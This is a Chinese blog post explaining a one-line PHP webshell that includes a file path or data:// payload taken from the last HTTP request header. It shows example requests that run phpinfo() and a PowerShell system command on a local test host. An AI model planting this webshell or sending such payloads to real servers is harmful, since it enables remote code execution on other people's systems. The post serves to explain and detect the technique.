领先的免费Web技术教程,涵盖HTML到ASP.NET

网站首页 > 知识剖析 正文

一个有意思的PHP Webshell,利用伪协议执行代码

nixiaole 2025-04-29 03:11:20 知识剖析 8 ℃

前不久,在网上看到过一个变形的PHP的webshell,非常有意思,利用的是伪协议来执行代码或命令。

这个PHP的webshell是如何写的呢?代码如下:

<?php
require_once(end(apache_request_headers()));

我来解释一下这段代码的几个函数:

1. apache_request_headers()

作用:获取当前 HTTP 请求的所有请求头(headers),返回一个关联数组,例如:

<PHP>
[
"Host" => "example.com",
"User-Agent" => "Mozilla/5.0",
"Accept" => "text/html",
"X-Malicious-Header" => "evil.php" // 攻击者可控的 header
]

2. end()

作用:返回数组的最后一个元素的值。例如:

<PHP>

$headers = ["Host" => "example.com", "X-Header" => "hack.php"];

echo end($headers); // 输出 "hack.php"

3. require_once()

作用:加载并执行指定的 PHP 文件。如果文件路径可控,攻击者可以包含任意文件(包括远程文件)。

如果实现攻击呢?我们只要在发送包里发送恶意代码就可以了,前提是php.ini里的allow_url_include要打开。

我们发送如下代码就可以了,111.php就是有以上代码的文件了。我们本机用Yakit测试一下:

GET /111.php HTTP/1.1
rce: data://text/plain,<?php phpinfo();?>
Host: 127.0.0.1

执行命令发送如下包就可以了:

GET /111.php HTTP/1.1
rce:data://text/plain,<?php system("powershell -c \"Get-LocalUser\"");?>
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:129.0) Gecko/20100101 Firefox/129.0

如果你网站服务器看到有这样一段代码,就立马删掉吧。如果你是渗透测试人员,如何想更好利用,多学点PHP代码就可以了。

Tags:

最近发表
标签列表